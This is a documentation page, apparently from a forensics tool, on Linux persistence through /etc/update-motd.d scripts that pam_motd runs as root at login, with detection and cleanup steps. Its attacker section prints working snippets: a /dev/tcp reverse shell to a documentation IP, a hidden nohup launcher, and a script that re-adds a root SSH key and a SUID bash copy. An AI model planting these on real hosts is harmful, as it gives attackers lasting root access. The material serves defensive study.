Skip to content

At login

MOTD Scripts: Linux Persistence via update-motd.d

How Debian and Ubuntu run /etc/update-motd.d scripts as root at every login through pam_motd, how attackers abuse them, and how to check and clean a host.

MITRE ATT&CK
No dedicated ATT&CK technique
Tactics
Persistence, Privilege escalation
Runs
At login
Set up by
root
Locations
  • /etc/update-motd.d/*
  • /etc/pam.d/sshd
  • /etc/pam.d/login
  • /run/motd.dynamic

How it works

The "message of the day" is the text printed after login. On Debian and Ubuntu it is partly generated on the fly: the Debian-patched pam_motd module runs run-parts --lsbsysinit /etc/update-motd.d during the PAM session phase, writes the output to /run/motd.dynamic, and prints it. Ubuntu's system information, update counts and "reboot required" notices all come from these scripts.

The module is enabled in the PAM stacks of sshd and login. A stock Ubuntu /etc/pam.d/sshd has:

session    optional     pam_motd.so  motd=/run/motd.dynamic
session    optional     pam_motd.so noupdate

The first line runs the scripts; the second only prints the static /etc/motd (noupdate means "do not run update-motd.d").

Execution context. The scripts run as root, because the PAM session is opened by the privileged part of sshd or login, before the shell starts. They run when anyone logs in through those stacks, including unprivileged users, so a script there turns any user's login into root code execution. Login waits for them: a slow or hanging script delays the session, so planted payloads are backgrounded.

Which files run. run-parts runs only executable files, in lexical order. With --lsbsysinit, names must match the LSB or Debian cron namespaces: letters, digits, _ and - (plus a few dotted LSB-style names). backdoor.sh is skipped; 50-sysinfo runs.

Distribution differences. Running scripts is a Debian and Ubuntu patch. Upstream Linux-PAM pam_motd, as used on RHEL, Fedora, SUSE and Arch, only displays static files (/etc/motd, /run/motd, /usr/lib/motd and the matching .d folders) and never executes anything. On those systems, code that runs at login lives in shell startup files instead, mainly /etc/profile.d.

Where it lives

PathWhatWho can write it
/etc/update-motd.d/*Scripts run as root by pam_motd at login (Debian, Ubuntu)root, packages
/etc/pam.d/sshd, /etc/pam.d/loginThe pam_motd lines that make them runroot
/run/motd.dynamicOutput of the last run (tmpfs, gone after reboot)root
/etc/motd, /etc/motd.d/, /run/motd.d/Static text, displayed, never executedroot
/usr/lib/motd.d/Static text shipped by packagespackages
/etc/default/motd-newsUbuntu's motd-news settings (text fetched from the network)root
Programs the scripts call (/usr/lib/update-notifier/, /usr/bin/landscape-sysinfo)Run with the same root privilegespackages

Ubuntu ships scripts such as 00-header, 10-help-text, 50-motd-news, 90-updates-available and 98-reboot-required; Debian ships 10-uname. Each comes from a package, so anything dpkg does not know about deserves a look.

How attackers use it

The appeal is root execution triggered by any login, from a folder few people audit, with no unit file or cron entry. Writing there needs root, so it is a way to keep root, not to get it, unless a weak permission lets a user write to the folder or a script it calls.

A new script that starts a payload

#!/bin/sh
# /etc/update-motd.d/30-sysstat (chmod 755)
(bash -c 'bash -i >& /dev/tcp/203.0.113.5/443 0>&1' &) >/dev/null 2>&1
echo

The trailing echo keeps the banner looking normal.

A line inserted into a vendor script

No new file appears, and the name in the folder is one the admin expects:

# added near the top of /etc/update-motd.d/00-header
nohup /var/lib/.dpkg/upd >/dev/null 2>&1 &

Re-planting access at every login

The script repairs whatever the defender removed, every time someone logs in:

#!/bin/sh
grep -q 'AAAAC3NzaC1lZDI1NTE5AAAAIExample' /root/.ssh/authorized_keys 2>/dev/null ||
  echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIExample ops@example.com' >> /root/.ssh/authorized_keys
[ -u /var/tmp/.bash ] || { cp /bin/bash /var/tmp/.bash; chmod 4755 /var/tmp/.bash; }

The first command restores an SSH key; the second keeps a SUID copy of bash for any local user.

How to check a host

On a live host

ls -la --time-style=full-iso /etc/update-motd.d/
run-parts --test --lsbsysinit /etc/update-motd.d     # what would run; runs nothing
grep -n pam_motd /etc/pam.d/*                         # which services run them
dpkg -S /etc/update-motd.d/*                          # owner of each script; "no path found" = added
dpkg -V 2>/dev/null | grep update-motd                # changed packaged scripts (5 = content)
lsattr /etc/update-motd.d/*
cat /run/motd.dynamic                                 # what the last login printed

Read every script, then every program it calls: an unchanged vendor script that runs a modified helper is just as dangerous. Compare modification times with your timeline, and match the start times of unexpected root processes (ps -eo pid,ppid,user,lstart,args) against login times (last -F). Repeated slow SSH logins are also a clue.

On RHEL-family systems there is nothing to check here: pam_motd does not run scripts. Look at /etc/profile.d instead.

Offline, from a collection

Read etc/update-motd.d/* from the archive and list modes and times with tar -tvzf persist-host.tar.gz etc/update-motd.d/. The dpkg database (var/lib/dpkg/info/*.list, *.md5sums and the conffile checksums in var/lib/dpkg/status) says which files belong to a package and what they should contain. Check etc/pam.d/sshd and etc/pam.d/login for pam_motd lines, and correlate script times with logins in auth.log or the journal. The collection command archives /etc and the dpkg database, and Linux Persistence does these comparisons offline.

What Linux Persistence flags

Every file in /etc/update-motd.d/ is one entry, with login as the trigger. The shared command heuristics run on its body, comments excluded:

  • Downloads and runs code, Reverse or bind shell, Decodes and runs a payload, Interpreter with inline code: download-and-execute, /dev/tcp/ or nc -e shells, base64 -d | sh, python -c and similar.
  • Sets LD_PRELOAD, Turns shell history off, Makes a file immutable, Detaches from the session (nohup, setsid, disown, screen -dm, tmux new -d).
  • Runs from a temporary folder, Runs from a hidden folder, Embedded encoded blob.

The package layer matters most here, because every legitimate script comes from a package:

  • Not installed by any package (medium): the dpkg database is in the collection and owns no such file.
  • Differs from package package (low): the checksum no longer matches the packaged one.
  • An owned, unchanged script keeps its heuristic hits at info: vendor content, shown but not raised.
  • Changed date (low): changed in the 7 days before the newest file of the collection.
  • program also runs from mechanisms: another mechanism, a cron job for example, runs the same script path.

Limits: the tool reads contents, not modes, so it cannot tell whether a script is executable, and it does not apply the run-parts name rules here. It does not read the programs a script calls, nor check that pam_motd is enabled (PAM files are reported as their own entries). Without the dpkg database, ownership is unknown and the package flags do not appear.

Cleaning up

  1. Preserve first. Copy the script with its times and hash it, plus /run/motd.dynamic, which is lost at reboot:

    EVID=/mnt/evidence/$(hostname); mkdir -p "$EVID"
    cp -a /etc/update-motd.d /run/motd.dynamic "$EVID"/
    sha256sum /etc/update-motd.d/* > "$EVID"/update-motd.d.sha256
    
  2. Disable and remove. chattr -i if needed, then remove the planted file, or restore a modified vendor script from its package (apt-get install --reinstall <package>; for a modified conffile, delete it first and add -o Dpkg::Options::=--force-confmiss). chmod -x stops a script immediately. Kill the processes it started, after saving them.

  3. Undo what it did. Re-planting scripts usually leave artifacts: check root's and every user's authorized_keys, SUID files in staging folders (find /tmp /var/tmp /dev/shm -perm -4000 -type f), new accounts, and the other login and boot hooks: PAM, cron, systemd.

  4. Rotate. The code ran as root: rotate credentials root could read, and any key it planted or copied.

References

See also

On Linux Forensics

The artifacts behind this technique, in the Linux Forensics reference: